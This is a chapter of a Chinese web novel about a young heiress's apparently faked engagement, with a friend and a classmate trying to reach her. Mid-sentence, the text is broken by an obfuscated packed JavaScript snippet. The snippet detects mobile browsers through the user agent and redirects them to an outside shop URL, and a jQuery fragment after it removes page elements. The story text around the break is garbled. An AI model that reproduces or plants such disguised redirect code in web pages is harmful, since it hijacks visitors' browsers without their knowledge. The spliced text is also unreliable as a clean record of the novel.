“穿着华丽的公主式人物……滋滋滋……从……高高的城楼或者悬崖一跃……滋滋滋……而下，决绝地自毁……滋滋……与……自证，‘跳城楼’这一意象，似乎是人……人们心中普遍存在的一种心理情结。”
收音机并不老旧，与智能手机、笔记本电脑一同摆放在书桌上，清亮温柔的女声从中传出。
盛业打开书房的窗户，躺在摇椅上闭上眼睛，书房里拜访的油画似乎有些念头，色彩不再艳丽，但巧妙的构图和光影变幻，仍旧可见画师技艺高超，一切都恰到好处。
美中不足的是，收音机播放总是不流畅，混杂着“滋滋滋”的电流声，应该是受到了正在充电的手机和电脑的电磁干扰。
但盛业并没有把收音机和手机、电脑隔开，任由电流声存在。
“与跳城楼一样，夜奔……滋滋……滋滋滋也是文学作品中常见的场景，用于……滋滋滋……滋滋……表现人物决心或被迫离开某地、追寻新的理想和目的地……”
“例如李冲……滋滋滋……夜奔……滋滋……还有，红拂夜奔……”
“这幅……滋滋……滋滋滋……油画就是暴风雪中的林冲……”
正中午，天地间却昏昏沉沉，像是天将暗未暗之时。
起风了，蔷薇花整朵整朵地掉落，花园里浇水的张姨也不见了踪影。
郊区人迹罕至，秋风扫进空旷无人的别墅，干燥脱水的落叶硬化，刮过小院石板路。
“刺啦——刺啦——”
这是别墅里唯一的声响，收音机不知道什么时候停了。
书房窗台边的花瓶里有几枝新折下的蔷薇花，花瓣掉落，随风飘落到院子里，穿过镂空的铁门，彻底离开小院。
“哐当！！！”
院门紧闭。
-
卧室的大床上，明和缓缓睁开眼，意识有些混沌，她伸手摸了摸额头，触感是纱布。
摊开双手，粘腻感消失，满掌的血迹也不在。
好安静，鸟鸣与风声都没有。
这是哪？
浑身无力，四肢像是没有知觉，天花板的顶灯没有开，厚重的窗帘牢牢地遮住日光。
明和尝试起身，却像是有鬼压床，始终动弹不了。
要天黑了吗？
用尽了意志力，明和终于挣扎着坐起了身子，倚靠在床头。
双腿还是麻木。
“滋滋滋……滋滋……”
幽蓝色的光突然亮起，明和这才发现床对面是一台巨大的壁挂式电视机。
屏幕滋啦着卡顿了几秒，终于流畅地播放起新闻。
“本市房地产龙头企业名盛董事长的外孙女明和与助升科技董事长的公子江频举办订婚宴……”
标准播音腔女声响起，播报着近日H市人们茶余饭后谈论的话题，名盛与助升联姻彻底坐实。
新闻画面里，明和穿着红色旗袍，戴着珠帘面纱，站在盛业身旁，和江频挽着手。
她订婚了吗？
对啊，她订婚了。
明和迟钝地看着电视画面，想起来盛业确实同意了提前订婚宴。
可是盛业不是说不参加她和江题的订婚宴吗？怎么又去了？
江题，对，江题呢？
不对，不对，不对。明和无力地摇了摇头，是江频……吗？
-
吃瓜大王：【现代新闻学三要素：假、断章取义、引战博眼球。】
去往明达酒店的出租车上，季往点开名盛助升联姻新闻的评论区，热度最高的第一条就是“新现代新闻学三要素”。
果然是假的吗？明和不至于连订婚的时间都骗他……
还是确实是真的，明和猜到他会偷偷去，所以故意说错时间，不想让她参加。
季往向下看新的评论。
冷冰凝蝶雨：【吃瓜大王楼主何出此言？名盛和助升不是早就说要联姻了嘛，这有什么假的。】
奈我何：【对啊，虽然现在有些营销号确实喜欢搞对立，但这也没引战吧。】
经验丰富的道士：【今日无事，看几位有缘人，不要园子。】
萝卜特：【道士是假的，大家注意不要上当受骗。】
春夏秋没有冬：【@吃瓜大王，出来回应，最烦谜语人。】
吃瓜大王：【来了来了。我就在明达附近啊，这里根本没有订婚宴，此为假。之前的消息一直都是说盛业的外孙女明和跟江元的儿子江题订婚，现在的新闻只说了盛业外孙女和江元的公子订婚，到底是谁根本没说，此为断章取义。明达的酒店大厅你们数一下办一场婚宴要1后面多少个零，这不妥妥的引起贫富对立……】
十六行诗：【啊？我也在明达附近啊，确实有订婚宴吧，看到很多豪车过去了。】
退而结网：【有无能进去的人脉说说真订婚还是假订婚？】
梦游仙境：【不是，人家好好的订婚宴能有什么假，你们谁撒谎了？说得怪玄乎的。】
辅助功能：【我刚在某音上看到有博主在明达门外直播，前台大厅很安静，确实不像有订婚宴。】
简体英文：【我也看到这个直播了，但是说不定人家婚宴在酒店里面，咱们网友在这瞎分析什么。】
季往又重新仔细看了一遍视频，丝毫没有明和的身影，甚至没有江题的。
明和真的会骗他订婚宴的时间吗？
也许以前他会很确定地认为明和不会在这件事情上骗他，但现在，他知道自己根本不了解明和。
他关掉新闻界面，来时的复杂情绪消散，只余下担忧和恐惧，心跳鼓噪的声音像是要冲破耳膜。
季往根本进不去明达，原本他只是想等在门口。
如果幸运的话，恰好碰到明和从酒店出来，就可以远远地看她一眼。
如果不幸运的话，左右门外离门内不过几百米，就假装他也算是陪着她订婚了。
季往立刻给明和拨了电话。
无人接听。
出租车在明达酒店附近停下，季往下车关上车门，走到空旷的路边，确认信号很好，又给明和拨电话。
无人接听。
他再次拨通电话。
重复，再重复……
“喂，季往？”云绘疑惑地接通了电话。
“是我。你知道明和今天订婚吗？”季往想到的最有可能联系得到明和的人，就是云绘了。他最后一通电话打给了云绘。
“啊？小和今天订婚？我怎么不知道。她应该是国庆节订婚啊。”云绘惊讶。
“你看新闻。”
云绘关掉电子书，打开社交软件开始看新闻，首先映入眼帘的是[名盛助升联姻]，“小和跟江题
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678328|184522||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
联姻，我知道啊。”
她以为季往可能是看到明和联姻所以伤心了，但随着视线扫过新闻全文，云绘皱起眉头，“今天晚上举办订婚宴？！小和没有跟我说过啊。”
“这么大的事情，她不可能不跟我说。”云绘腾地从宿舍椅子中站起来，换下睡衣，跑了出去。
“不对，不对，不对。”云绘刚跑出宿舍楼，气喘吁吁地停在路边，“小和确实有可能不跟我说，她也许是害怕我也趟浑水。”
“之前她跟我说过，跟江题有一个重要的合作，有不得不做事情，所以一定要联姻，她应该是安排了什么计划。”云绘回忆之前明和跟她说过的话。
“她说过什么计划吗？”
季往的声音混杂着刺耳的鸣笛声传入云绘的耳朵。
“没有，你现在在H市吗？”
“明达酒店门外。”
季往只停了一瞬，便决定把自己看起来有些可笑的猜测说出口，毕竟以网友随意一句留言为信息基础，就开始胡乱推导猜测，怎么看都不可信。
“有人说订婚宴是假的，也许新闻也是假的。我给明和打电话但一直打不通，我……很担心。”
云绘翻了翻评论区，明白了季往的担忧，“她有可能是不想接你的电话，先挂了，我给她打电话试试。”
几分钟后。
“我也打不通小和的电话，江题的也打不通。”云绘非常着急，“我跟她认识这么久，从来没有出现过这种情况。”
云绘又尝试给明和发消息，但没有得到回复，她看了一眼从S市到H市最快的车也要一个小时的车程，“我爸爸也不在H市，我要一个小时之后才能到H市。”
手机屏幕落满了雨水，季往这才想起来下雨了，他看着酒店入口，“可以请你帮个忙吗？”
“什么忙？”
-
“您好，我是云线公司云敬董事长的助理云木，这是我的名片。我们老板说已经跟盛董通过电话了，他在国外出差无法亲至，特派我给明小姐的订婚宴送贺礼。”
季往西装革履，戴着口罩，把名片递给酒店前台，前台接过，然后打了一通电话核实信息。
“云先生，欢迎，您这边请。”一位前台指引季往先过了一层安检，然后带他到了一处储物间。
“先生，您把贺礼放在屋内即可。”
“好，请问我可以参观了一下明小姐的订婚宴吗？”季往把礼品放到储物间的置物架上，靠近前台，小声说：“我还没见过7位数的订婚宴，我就看一眼，长长见识。也许这辈子就这一次机会了，您通融通融？”
前台犹豫了一瞬，随即说：“不行。订婚宴只能凭邀请函进入。先生，请您放好礼物后离开。”
“咚、咚、咚。”拐杖敲击在铺着厚厚地毯的走廊，发出沉闷的声响，打断了季往跟前台的对话。
“盛董好。”前台主动向盛业打招呼。
盛业看向季往，“这位是？”
前台介绍道：“这位是云线公司云董的助理云木先生，受云董指派来送贺礼。”
季往点头，“盛董您好。”
盛业微微眯了眯眼睛，刚才看背影就隐约觉得这个人有点眼熟。
像谁呢？
对，像明和那个姓季的男同学。
“可以请云木先生摘掉口罩吗？”